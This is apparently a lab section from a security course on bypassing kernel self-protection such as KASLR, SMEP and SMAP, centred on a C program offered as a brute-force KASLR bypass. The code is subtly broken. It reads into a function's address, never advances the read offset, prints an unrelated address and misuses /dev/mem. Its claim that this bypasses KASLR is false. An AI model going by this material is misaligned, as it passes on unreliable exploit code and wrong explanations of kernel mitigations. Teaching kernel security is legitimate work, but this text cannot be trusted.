13. Bypassing Kernel Self-Protection Mechanisms

Bypassing Kernel Self-Protection Mechanisms

Kernel self-protection mechanisms are security features implemented in modern operating systems to prevent and mitigate kernel-level attacks. However, skilled attackers may attempt to bypass these mechanisms to execute malicious code in the kernel.

Lab Activity: Bypassing Kernel Self-Protection Mechanisms

In this lab activity, we'll demonstrate bypassing a kernel self-protection mechanism, such as Kernel Address Space Layout Randomization (KASLR), Supervisor Mode Execution Prevention (SMEP), or Supervisor Mode Access Prevention (SMAP), using a kernel exploit.

Bypassing KASLR

Below is a simplified example demonstrating the bypassing of Kernel Address Space Layout Randomization (KASLR) using a brute-force approach:

#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define KERNEL_BASE 0xffffffff80000000  // Kernel base address on x86_64

void kernel_function() {
    printf("Kernel function called!\n");
}

int main() {
    int fd = open("/dev/mem", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    off_t offset = KERNEL_BASE;
    ssize_t ret;
    uint64_t addr;

    // Brute-force search for kernel_function address
    for (addr = KERNEL_BASE; addr < KERNEL_BASE + 0x4000000; addr += 0x1000) {
        ret = pread(fd, &kernel_function, sizeof(kernel_function), offset);
        if (ret == sizeof(kernel_function)) {
            printf("Found kernel_function at address: %lx\n", addr);
            break;
        }
    }

    close(fd);
    return 0;
}

In this code snippet, we attempt to brute-force search for the address of a kernel function, assuming a known kernel base address. This approach may bypass KASLR by exhaustively searching for the target function within a reasonable address range.